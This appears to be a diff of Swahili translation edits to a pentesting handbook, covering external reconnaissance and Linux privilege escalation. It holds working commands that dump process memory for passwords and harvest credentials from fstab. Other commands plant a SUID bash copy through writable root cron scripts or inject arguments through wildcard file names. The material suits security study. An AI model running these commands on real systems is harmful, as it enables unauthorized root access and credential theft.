||||
|
||||
@ -457,7 +458,7 @@ Unaweza **kufuatilia** ikiwa **subdomains mpya** za domain zinaundwa kwa kufuati
|
||||
Angalia uwezekano wa [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Ikiwa **subdomain** inaelekeza kwenye **S3 bucket**, [**angalia ruhusa**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Ikiwa unapata **subdomain yenye IP tofauti** na zile ulizozipata tayari katika ugunduzi wa mali, unapaswa kufanya **skani ya msingi ya udhaifu** (ukitumia Nessus au OpenVAS) na baadhi ya [**skani za bandari**](../pentesting-network/#discovering-hosts-from-the-outside) kwa kutumia **nmap/masscan/shodan**. Kulingana na huduma zinazotumika unaweza kupata katika **kitabu hiki vidokezo vya "kushambulia"**.\
|
||||
Ikiwa utapata **subdomain yenye IP tofauti** na zile ulizozipata tayari katika ugunduzi wa mali, unapaswa kufanya **skani ya msingi ya udhaifu** (ukitumia Nessus au OpenVAS) na baadhi ya [**skani za bandari**](../pentesting-network/#discovering-hosts-from-the-outside) kwa kutumia **nmap/masscan/shodan**. Kulingana na huduma zinazotumika unaweza kupata katika **kitabu hiki vidokezo vya "kuvamia" hizo**.\
|
||||
&#xNAN;_Note kwamba wakati mwingine subdomain inahostiwa ndani ya IP ambayo haidhibitiwi na mteja, hivyo si katika upeo, kuwa makini._
|
||||
|
||||
## IPs
|
||||
@ -481,7 +482,7 @@ Unaweza pia kuangalia majina ya domain yanayoelekeza kwenye anwani maalum ya IP
|
||||
|
||||
> Tumegundua kampuni zote na mali zao na tunajua anuwai za IP, majina ya domain na subdomains ndani ya upeo. Ni wakati wa kutafuta seva za wavuti.
|
||||
|
||||
Katika hatua za awali huenda tayari umekuwa ukifanya **recon ya IPs na majina ya domain yaliyogunduliwa**, hivyo huenda umekuwa **umepata seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujapata sasa tunaenda kuona baadhi ya **vidokezo vya haraka kutafuta seva za wavuti** ndani ya upeo.
|
||||
Katika hatua za awali huenda tayari umekuwa ukifanya baadhi ya **recon ya IPs na majina ya domain yaliyogunduliwa**, hivyo huenda umekuwa **umepata seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujapata sasa tunaenda kuona baadhi ya **vidokezo vya haraka kutafuta seva za wavuti** ndani ya upeo.
|
||||
|
||||
Tafadhali, kumbuka kwamba hii itakuwa **imeelekezwa kwa ugunduzi wa programu za wavuti**, hivyo unapaswa **kufanya udhaifu** na **skani za bandari** pia (**ikiwa inaruhusiwa** na upeo).
|
||||
|
||||
@ -493,17 +494,17 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
```
|
||||
### **Mifano**
|
||||
|
||||
Sasa kwamba umepata **seva zote za wavuti** zilizopo katika upeo (katika **IPs** za kampuni na **domeni** na **subdomeni** zote) huenda **hujui wapi pa kuanzia**. Hivyo, hebu iwe rahisi na tuanze kwa kuchukua mifano ya skrini ya zote. Kwa kuangalia tu kwenye **ukurasa mkuu** unaweza kupata **mipango** ya ajabu ambayo ina **uwezekano** mkubwa wa kuwa **na udhaifu**.
|
||||
Sasa kwamba umepata **seva zote za wavuti** zilizopo katika upeo (katika **IPs** za kampuni na **domeni** zote na **subdomeni**) huenda **hujui wapi pa kuanzia**. Hivyo, hebu iwe rahisi na tuanze kwa kuchukua mifano ya skrini ya zote. Kwa **kuangalia** tu kwenye **ukurasa mkuu** unaweza kupata **nukta** za mwisho ambazo zinaweza kuwa **na hatari** zaidi.
|
||||
|
||||
Ili kutekeleza wazo lililopendekezwa unaweza kutumia [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) au [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeballer) kukagua mifano yote ya skrini ili kukwambia **nini kinaweza kuwa na udhaifu**, na nini hakina.
|
||||
Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeballer) kukagua **mifano ya skrini** zote ili kukuambia **nini kinaweza kuwa na hatari**, na nini hakina.
|
||||
|
||||
## Mali za Umma za Wingu
|
||||
|
||||
Ili kupata mali za wingu zinazoweza kuwa za kampuni unapaswa **kuanza na orodha ya maneno muhimu yanayofafanua kampuni hiyo**. Kwa mfano, kwa kampuni ya crypto unaweza kutumia maneno kama: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Utahitaji pia orodha za maneno za **maneno ya kawaida yanayotumiwa katika makundi**:
|
||||
Utahitaji pia orodha za maneno za **maneno ya kawaida yanayotumika katika makundi**:
|
||||
|
||||
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
@ -511,11 +512,11 @@ Utahitaji pia orodha za maneno za **maneno ya kawaida yanayotumiwa katika makund
|
||||
|
||||
Kisha, kwa maneno hayo unapaswa kuunda **mabadiliko** (angalia [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) kwa maelezo zaidi).
|
||||
|
||||
Kwa orodha za maneno zilizotokana unaweza kutumia zana kama [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **au** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
Kwa orodha za maneno zilizopatikana unaweza kutumia zana kama [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **au** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Kumbuka kwamba unapoitafuta Mali za Wingu unapaswa **kuangalia zaidi ya makundi tu katika AWS**.
|
||||
|
||||
### **Kuangalia udhaifu**
|
||||
### **Kuangalia hatari**
|
||||
|
||||
Ikiwa unapata vitu kama **makundi ya wazi au kazi za wingu zilizofichuliwa** unapaswa **kuziingilia** na kujaribu kuona kile wanachokupa na ikiwa unaweza kuzitumia vibaya.
|
||||
|
||||
@ -528,7 +529,7 @@ Pamoja na **domeni** na **subdomeni** ndani ya upeo unayo kila kitu unachohitaji
|
||||
- API ya [**https://app.snov.io/**](https://app.snov.io/) (toleo la bure)
|
||||
- API ya [**https://minelead.io/**](https://minelead.io/) (toleo la bure)
|
||||
|
||||
### **Kuangalia udhaifu**
|
||||
### **Kuangalia hatari**
|
||||
|
||||
Barua pepe zitakuwa na manufaa baadaye kwa **kujaribu kuingia kwenye wavuti na huduma za uthibitishaji** (kama SSH). Pia, zinahitajika kwa **phishings**. Zaidi ya hayo, hizi APIs zitakupa hata zaidi **habari kuhusu mtu** nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
|
||||
|
||||
@ -539,7 +540,7 @@ Pamoja na **domeni,** **subdomeni**, na **barua pepe** unaweza kuanza kutafuta a
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Kuangalia udhaifu**
|
||||
### **Kuangalia hatari**
|
||||
|
||||
Ikiwa unapata **akida zilizovuja** halali, hii ni ushindi rahisi sana.
|
||||
|
||||
@ -550,7 +551,7 @@ Mvuvi wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja n
|
||||
### Mvuvi wa Github
|
||||
|
||||
Akida na APIs zinaweza kuvuja katika **hifadhi za umma** za **kampuni** au za **watumiaji** wanaofanya kazi kwa kampuni hiyo ya github.\
|
||||
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) ili **kupakua** hifadhi zote za **umma** za **taasisi** na za **waendelezaji** wake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
|
||||
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) **kupakua** hifadhi zote za **umma** za **taasisi** na za **waendelezaji** wake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
|
||||
|
||||
**Leakos** pia inaweza kutumika kuendesha **gitleaks** dhidi ya **maandishi** yaliyotolewa **URLs yaliyopitishwa** kwake kwani wakati mwingine **kurasa za wavuti pia zina siri**.
|
||||
|
||||
@ -569,17 +570,17 @@ Unaweza kutumia zana [**Pastos**](https://github.com/carlospolop/Pastos) kutafut
|
||||
|
||||
### Mvuvi wa Google
|
||||
|
||||
Dorks za zamani lakini za dhahabu daima ni muhimu kupata **habari iliyofichuliwa ambayo haipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelezo kadhaa **elfu** ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
|
||||
Dorks za zamani lakini za dhahabu daima ni muhimu kupata **habari zilizofichuliwa ambazo hazipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelezo kadhaa **elfu** ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
|
||||
|
||||
_Kumbuka kwamba zana zinazotarajia kuendesha database yote kwa kutumia kivinjari cha kawaida cha Google hazitamalizika kamwe kwani google itakuzuia haraka sana._
|
||||
|
||||
### **Kuangalia udhaifu**
|
||||
### **Kuangalia hatari**
|
||||
|
||||
Ikiwa unapata **akida zilizovuja** halali au token za API, hii ni ushindi rahisi sana.
|
||||
|
||||
## Udhaifu wa Msimbo wa Umma
|
||||
## Hatari za Kanuni za Umma
|
||||
|
||||
Ikiwa umepata kwamba kampuni ina **msimbo wa chanzo wazi** unaweza **kuchambua** na kutafuta **udhaifu** ndani yake.
|
||||
Ikiwa umepata kwamba kampuni ina **kanuni za chanzo wazi** unaweza **kuchambua** na kutafuta **hatari** juu yake.
|
||||
|
||||
**Kulingana na lugha** kuna zana tofauti unazoweza kutumia:
|
||||
|
||||
@ -593,27 +594,27 @@ Pia kuna huduma za bure zinazokuruhusu **kuchunguza hifadhi za umma**, kama:
|
||||
|
||||
## [**Mbinu ya Pentesting Wavuti**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**Wingi wa udhaifu** unaopatikana na wawindaji wa makosa unapatikana ndani ya **maombi ya wavuti**, hivyo katika hatua hii ningependa kuzungumzia **mbinu ya kupima maombi ya wavuti**, na unaweza [**kupata habari hii hapa**](../../network-services-pentesting/pentesting-web/).
|
||||
**Wingi wa hatari** zinazopatikana na wawindaji wa makosa ziko ndani ya **maombi ya wavuti**, hivyo katika hatua hii ningependa kuzungumzia **mbinu ya kupima maombi ya wavuti**, na unaweza [**kupata habari hii hapa**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti za Chanzo Wazi**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, usitarajie zipate udhaifu nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari za awali za wavuti.**
|
||||
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, usitarajie zipate hatari nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari za awali za wavuti.**
|
||||
|
||||
## Muhtasari
|
||||
|
||||
> Hongera! Katika hatua hii tayari umetekeleza **kuhesabu msingi wote**. Ndio, ni msingi kwa sababu kuna hesabu zaidi inayoweza kufanywa (tutaona hila zaidi baadaye).
|
||||
> Hongera! Katika hatua hii tayari umetekeleza **kuhesabu msingi**. Ndio, ni msingi kwa sababu kuna hesabu zaidi inayoweza kufanywa (tutaona hila zaidi baadaye).
|
||||
|
||||
Hivyo tayari umepata:
|
||||
|
||||
1. Kupata kampuni zote **ndani ya upeo**
|
||||
2. Kupata mali zote **zinazomilikiwa na kampuni** (na kufanya skana za udhaifu ikiwa ziko ndani ya upeo)
|
||||
3. Kupata **domeni** zote zinazomilikiwa na kampuni
|
||||
4. Kupata **subdomeni** zote za domeni (je, kuna kuchukuliwa kwa subdomeni?)
|
||||
1. Kupata **kampuni zote** ndani ya upeo
|
||||
2. Kupata **mali zote** zinazomilikiwa na kampuni (na kufanya skana za hatari ikiwa ziko ndani ya upeo)
|
||||
3. Kupata **domeni zote** zinazomilikiwa na kampuni
|
||||
4. Kupata **subdomeni zote** za domeni (je, kuna kuchukuliwa kwa subdomeni?)
|
||||
5. Kupata **IPs** zote (kutoka na **sio kutoka CDNs**) ndani ya upeo.
|
||||
6. Kupata **seva zote za wavuti** na kuchukua **mfano wa skrini** wa hizo (je, kuna kitu chochote cha ajabu kinachostahili kuangaliwa kwa kina?)
|
||||
6. Kupata **seva zote za wavuti** na kuchukua **mifano ya skrini** zao (je, kuna kitu chochote cha ajabu kinachostahili kuangaliwa kwa kina?)
|
||||
7. Kupata **mali zote za umma za wingu** zinazomilikiwa na kampuni.
|
||||
8. **Barua pepe**, **mvuvi wa akida**, na **mvuvi wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
|
||||
9. **Pentesting wavuti zote ulizozipata**
|
||||
|
||||
## **Zana za Kiotomatiki za Upelelezi Kamili**
|
||||
## **Zana za Kiotomatiki za Utafiti Kamili**
|
||||
|
||||
Kuna zana kadhaa huko nje ambazo zitatekeleza sehemu ya vitendo vilivyopendekezwa dhidi ya upeo fulani.
|
||||
|
||||
@ -624,6 +625,6 @@ Kuna zana kadhaa huko nje ambazo zitatekeleza sehemu ya vitendo vilivyopendekezw
|
||||
|
||||
## **Marejeleo**
|
||||
|
||||
- Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Mwindaji wa Makosa v4.0 - Toleo la Upelelezi**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
- Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Mwindaji wa Makosa v4.0 - Toleo la Utafiti**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -12,7 +12,7 @@ Hebu tuanze kupata maarifa kuhusu OS inayotembea
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
cat /etc/os-release 2>/dev/null # universal on modern systems
|
||||
```
|
||||
### Path
|
||||
### Njia
|
||||
|
||||
Ikiwa una **idhini za kuandika kwenye folda yoyote ndani ya mabadiliko ya `PATH`** unaweza kuwa na uwezo wa kuiba baadhi ya maktaba au binaries:
|
||||
```bash
|
||||
@ -26,7 +26,7 @@ Habari za kuvutia, nywila au funguo za API katika mabadiliko ya mazingira?
|
||||
```
|
||||
### Kernel exploits
|
||||
|
||||
Angalia toleo la kernel na ikiwa kuna exploit inayoweza kutumika kuongeza mamlaka.
|
||||
Angalia toleo la kernel na ikiwa kuna exploit inayoweza kutumika kuongeza mamlaka
|
||||
```bash
|
||||
cat /proc/version
|
||||
uname -a
|
||||
@ -131,34 +131,34 @@ docker-security/
|
||||
|
||||
## Drives
|
||||
|
||||
Angalia **kitu kilichowekwa na kisichowekwa**, wapi na kwa nini. Ikiwa chochote hakijawekwa unaweza kujaribu kukiweka na kuangalia taarifa za kibinafsi
|
||||
Angalia **kitu ambacho kimewekwa na kisichoweza kuwekwa**, wapi na kwa nini. Ikiwa chochote hakijawa naweza kujaribu kukiweka na kuangalia taarifa za kibinafsi
|
||||
```bash
|
||||
ls /dev 2>/dev/null | grep -i "sd"
|
||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||||
#Check if credentials in fstab
|
||||
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
|
||||
```
|
||||
## Programu za Kusaidia
|
||||
## Programu muhimu
|
||||
|
||||
Taja binaries muhimu
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
Pia, angalia kama **compiler yeyote imewekwa**. Hii ni muhimu ikiwa unahitaji kutumia exploit ya kernel kwani inapendekezwa kuikamilisha katika mashine ambayo unakusudia kuitumia (au katika moja inayofanana).
|
||||
Pia, angalia kama **compiler yeyote imewekwa**. Hii ni muhimu ikiwa unahitaji kutumia exploit ya kernel kwani inashauriwa kuikamilisha kwenye mashine ambayo unakusudia kuitumia (au kwenye moja inayofanana).
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
### Programu Zenye Uthibitisho Zilizowekwa
|
||||
|
||||
Angalia **toleo la vifurushi na huduma zilizowekwa**. Huenda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumiwa kwa kuongeza mamlaka...\
|
||||
Angalia **toleo la vifurushi na huduma zilizowekwa**. Huenda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumika kwa ajili ya kupandisha mamlaka...\
|
||||
Inapendekezwa kuangalia kwa mikono toleo la programu zinazoshuku zaidi zilizowekwa.
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
rpm -qa #Centos
|
||||
```
|
||||
Ikiwa una ufikiaji wa SSH kwa mashine hiyo unaweza pia kutumia **openVAS** kuangalia programu zilizopitwa na wakati na zenye udhaifu zilizowekwa ndani ya mashine.
|
||||
Ikiwa una ufikiaji wa SSH kwa mashine, unaweza pia kutumia **openVAS** kuangalia programu zilizopitwa na wakati na zenye udhaifu zilizowekwa ndani ya mashine.
|
||||
|
||||
> [!NOTE] > _Kumbuka kwamba amri hizi zitaonyesha habari nyingi ambazo kwa kiasi kikubwa zitakuwa hazina maana, kwa hivyo inapendekezwa kutumia programu kama OpenVAS au sawa na hiyo ambayo itakagua ikiwa toleo lolote la programu lililowekwa lina udhaifu kwa mashambulizi yanayojulikana._
|
||||
> [!NOTE] > _Kumbuka kwamba amri hizi zitaonyesha habari nyingi ambazo kwa kawaida zitakuwa hazina maana, kwa hivyo inapendekezwa kutumia programu kama OpenVAS au sawa na hiyo ambayo itakagua ikiwa toleo lolote la programu iliyowekwa lina udhaifu kwa mashambulizi yanayojulikana._
|
||||
|
||||
## Mchakato
|
||||
|
||||
@ -168,8 +168,8 @@ ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Daima angalia kwa [**electron/cef/chromium debuggers** zinazotembea, unaweza kuzitumia kuboresha mamlaka](electron-cef-chromium-debugger-abuse.md). **Linpeas** inagundua hizo kwa kuangalia parameter `--inspect` ndani ya mstari wa amri wa mchakato.\
|
||||
Pia **angalia mamlaka yako juu ya binaries za michakato**, labda unaweza kuandika tena ya mtu mwingine.
|
||||
Daima angalia kwa uwezekano wa [**electron/cef/chromium debuggers** zinazoendesha, unaweza kuzitumia kuboresha mamlaka](electron-cef-chromium-debugger-abuse.md). **Linpeas** inagundua hizo kwa kuangalia parameter ya `--inspect` ndani ya mistari ya amri ya mchakato.\
|
||||
Pia **angalia mamlaka yako juu ya binaries za michakato**, labda unaweza kuandika tena mtu mwingine.
|
||||
|
||||
### Ufuatiliaji wa mchakato
|
||||
|
||||
@ -178,7 +178,7 @@ Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kuf
|
||||
### Kumbukumbu ya mchakato
|
||||
|
||||
Huduma zingine za seva huhifadhi **akili wazi ndani ya kumbukumbu**.\
|
||||
Kwa kawaida utahitaji **mamlaka ya root** kusoma kumbukumbu ya michakato inayomilikiwa na watumiaji wengine, kwa hivyo hii kwa kawaida ni muhimu zaidi unapokuwa tayari root na unataka kugundua zaidi akili.\
|
||||
Kwa kawaida utahitaji **mamlaka ya root** kusoma kumbukumbu ya michakato inayomilikiwa na watumiaji wengine, kwa hivyo hii kwa kawaida huwa na manufaa zaidi unapokuwa tayari root na unataka kugundua zaidi akili.\
|
||||
Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu ya michakato unayomiliki**.
|
||||
|
||||
> [!WARNING]
|
||||
@ -189,7 +189,7 @@ Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu
|
||||
> - **kernel.yama.ptrace_scope = 0**: michakato yote inaweza kufuatiliwa, mradi tu zina uid sawa. Hii ndiyo njia ya kawaida jinsi ptracing ilivyofanya kazi.
|
||||
> - **kernel.yama.ptrace_scope = 1**: mchakato wa mzazi tu unaweza kufuatiliwa.
|
||||
> - **kernel.yama.ptrace_scope = 2**: Ni admin tu anayeweza kutumia ptrace, kwani inahitaji uwezo wa CAP_SYS_PTRACE.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Hakuna michakato inayoweza kufuatiliwa kwa ptrace. Mara ikishapangwa, upya unahitajika ili kuwezesha ptracing tena.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Hakuna michakato inayoweza kufuatiliwa kwa ptrace. Mara ikisetwa, upya unahitajika ili kuwezesha ptracing tena.
|
||||
|
||||
#### GDB
|
||||
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Kwa kitambulisho maalum cha mchakato, **ramani zinaonyesha jinsi kumbukumbu inavyopangwa ndani ya nafasi ya anwani ya virtual ya mchakato huo**; pia inaonyesha **idhini za kila eneo lililopangwa**. Faili ya **mem** pseudo **inaonyesha kumbukumbu ya mchakato yenyewe**. Kutoka kwenye faili ya **ramani** tunajua ni zipi **sehemu za kumbukumbu zinazoweza kusomwa** na offsets zao. Tunatumia taarifa hii **kutafuta ndani ya faili ya mem na kutupa maeneo yote yanayoweza kusomwa** kwenye faili.
|
||||
Kwa kitambulisho maalum cha mchakato, **ramani zinaonyesha jinsi kumbukumbu inavyopangwa ndani ya nafasi ya anwani ya virtual ya mchakato huo**; pia inaonyesha **idhini za kila eneo lililopangwa**. Faili ya pseudo **mem** **inaonyesha kumbukumbu ya mchakato yenyewe**. Kutoka kwenye faili **ramani** tunajua ni zipi **sehemu za kumbukumbu zinazoweza kusomwa** na offsets zao. Tunatumia taarifa hii **kutafuta ndani ya faili ya mem na kutupa maeneo yote yanayoweza kusomwa** kwenye faili.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -288,16 +288,16 @@ strings *.dump | grep -i password
|
||||
```
|
||||
#### mimipenguin
|
||||
|
||||
Chombo [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) kitachukua **akili za maandiko wazi kutoka kwenye kumbukumbu** na kutoka kwa **faili maarufu**. Kinahitaji ruhusa za root ili kufanya kazi vizuri.
|
||||
Chombo [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) kitachukua **akili za maandiko wazi kutoka kwenye kumbukumbu** na kutoka kwenye **faili maarufu**. Kinahitaji ruhusa za root ili kufanya kazi vizuri.
|
||||
|
||||
| Kipengele | Jina la Mchakato |
|
||||
| ------------------------------------------------- | -------------------- |
|
||||
| Nenosiri la GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Mawasiliano ya FTP ya Kazi) | vsftpd |
|
||||
| Apache2 (Mikutano ya HTTP Basic Auth ya Kazi) | apache2 |
|
||||
| OpenSSH (Mikutano ya SSH ya Kazi - Matumizi ya Sudo) | sshd: |
|
||||
| VSFTPd (Mawasiliano ya FTP Yaliyopo) | vsftpd |
|
||||
| Apache2 (Mikutano ya HTTP Basic Auth Yaliyopo) | apache2 |
|
||||
| OpenSSH (Mikutano ya SSH Yaliyopo - Matumizi ya Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```
|
||||
### Cron kutumia skripti yenye wildcard (Wildcard Injection)
|
||||
|
||||
Ikiwa skripti inatekelezwa na root ina “**\***” ndani ya amri, unaweza kutumia hii kufanya mambo yasiyotarajiwa (kama privesc). Mfano:
|
||||
Ikiwa skripti inayoendeshwa na root ina “**\***” ndani ya amri, unaweza kuitumia hii kufanya mambo yasiyotarajiwa (kama privesc). Mfano:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
@ -350,13 +350,13 @@ wildcards-spare-tricks.md
|
||||
|
||||
### Kuandika tena skripti ya Cron na symlink
|
||||
|
||||
Ikiwa unaweza **kubadilisha skripti ya cron** inayotekelezwa na root, unaweza kupata shell kwa urahisi sana:
|
||||
Ikiwa unaweza **kubadilisha skripti ya cron** inayotekelezwa na root, unaweza kupata shell kwa urahisi:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Ikiwa skripti inayotekelezwa na root inatumia **directory ambapo una ufikiaji kamili**, huenda ikawa na manufaa kufuta folda hiyo na **kuunda folda ya symlink kwa nyingine** inayohudumia skripti inayodhibitiwa na wewe.
|
||||
Ikiwa skripti inayotekelezwa na root inatumia **directory ambapo una ufikiaji kamili**, huenda ikawa na manufaa kufuta folda hiyo na **kuunda folda ya symlink kwa folda nyingine** inayohudumia skripti inayodhibitiwa na wewe.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
@ -364,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
|
||||
Unaweza kufuatilia michakato ili kutafuta michakato inayotekelezwa kila dakika 1, 2 au 5. Huenda ukatumia fursa hii na kupandisha mamlaka.
|
||||
|
||||
Kwa mfano, ili **kufuatilia kila 0.1s kwa dakika 1**, **panga kwa amri zilizotekelezwa kidogo** na uondoe amri ambazo zimekuwa zikitekelezwa zaidi, unaweza kufanya:
|
||||
Kwa mfano, ili **kufuatilia kila 0.1s kwa dakika 1**, **panga kwa amri zilizotekelezwa kidogo** na kufuta amri ambazo zimekuwa zikitekelezwa zaidi, unaweza kufanya:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
@ -380,7 +380,7 @@ Inawezekana kuunda kazi ya cron **kwa kuweka kurudi kwa gari baada ya maoni** (b
|
||||
|
||||
### Faili za _.service_ zinazoweza kuandikwa
|
||||
|
||||
Angalia kama unaweza kuandika faili yoyote ya `.service`, ikiwa unaweza, unaweza **kubadilisha** ili **itekeleze** backdoor yako wakati huduma inapo **anzishwa**, **kurejelewa** au **kusitishwa** (labda utahitaji kusubiri hadi mashine ireboot).\
|
||||
Angalia kama unaweza kuandika faili yoyote ya `.service`, ikiwa unaweza, unaweza **kubadilisha** ili **itekeleze** backdoor yako wakati huduma inapo **anzishwa**, **kurejelewa** au **kusitishwa** (labda utahitaji kusubiri hadi mashine irejelewe).\
|
||||
Kwa mfano, tengeneza backdoor yako ndani ya faili .service na **`ExecStart=/tmp/script.sh`**
|
||||
|
||||
### Binaries za huduma zinazoweza kuandikwa
|
||||
@ -393,13 +393,13 @@ Unaweza kuona PATH inayotumika na **systemd** kwa:
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
Ikiwa unapata kuwa unaweza **kuandika** katika yoyote ya folda za njia hiyo unaweza kuwa na uwezo wa **kuinua mamlaka**. Unahitaji kutafuta **njia zinazohusiana zinazotumika kwenye faili za usanidi wa huduma** kama:
|
||||
Ikiwa unapata kuwa unaweza **kuandika** katika moja ya folda za njia hiyo unaweza kuwa na uwezo wa **kuinua mamlaka**. Unahitaji kutafuta **njia zinazohusiana zinazotumika kwenye faili za usanidi wa huduma** kama:
|
||||
```bash
|
||||
ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
